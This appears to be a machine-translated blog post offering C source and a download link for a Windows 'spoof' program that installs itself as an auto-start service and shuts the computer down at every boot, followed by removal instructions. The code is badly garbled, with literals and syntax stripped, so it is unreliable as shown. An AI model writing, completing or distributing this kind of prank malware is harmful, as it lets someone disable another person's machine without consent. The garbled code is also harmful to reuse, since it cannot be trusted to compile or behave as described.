The Code is as follows:
#include <Windows.h> WINAPI WinMain( __in HINSTANCE hInstance, __in_opt HINSTANCE hPrevInstance, __in_opt LPSTR lpCmdLine, __in SERVICE_TABLE_ENTRY st[] = {TEXT( (! schSCManager = (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | schService = OpenService(schSCManager, TEXT( (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | BOOL b = StartService(schService, status.dwWin32ExitCode = status.dwCurrentState = SetServiceStatus(hServiceStatus, & status.dwServiceType = status.dwCurrentState = status.dwControlsAccepted = SERVICE_ACCEPT_STOP | status.dwWin32ExitCode = status.dwServiceSpecificExitCode = status.dwCheckPoint = status.dwWaitHint = hServiceStatus = RegisterServiceCtrlHandler(TEXT( ((SERVICE_STATUS_HANDLE) == status.dwCurrentState = SetServiceStatus(hServiceStatus, & os.dwOSVersionInfoSize = GetVersionEx(& (VER_PLATFORM_WIN32_NT == OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, & LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[ tkp.PrivilegeCount = tkp.Privileges[].Attributes = AdjustTokenPrivileges(handle, FALSE, &tkp, , (PTOKEN_PRIVILEGES)NULL, (GetLastError() != MessageBox(NULL, TEXT(), TEXT(), MB_OK | ExitWindowsEx(EWX_SHUTDOWN, BOOL bResult = SC_HANDLE schSCManager = SC_HANDLE schService = OpenService(schSCManager, TEXT( bResult = MessageBox(NULL, TEXT(), TEXT(), MB_OK | SC_HANDLE schSCManager = (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | SC_HANDLE schService = CreateService(schSCManager, TEXT(), TEXT(), SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, szFilePath, NULL, NULL, TEXT( (! MessageBox(NULL, TEXT(), TEXT(), MB_OK | }
This program is a spoof program for automatic shutdown upon startup. I personally tested it on a physical machine and passed the test in a windows server 2008 r2 enterprise system. To remove the inconvenience caused by this spoof program, you can press F8 at startup to enter safe mode and delete the service named Shutdown. Run SC delete Shutdown.
Program download connection: http://pan.baidu.com/share/link? Consumer id = 329612 & uk = 638387423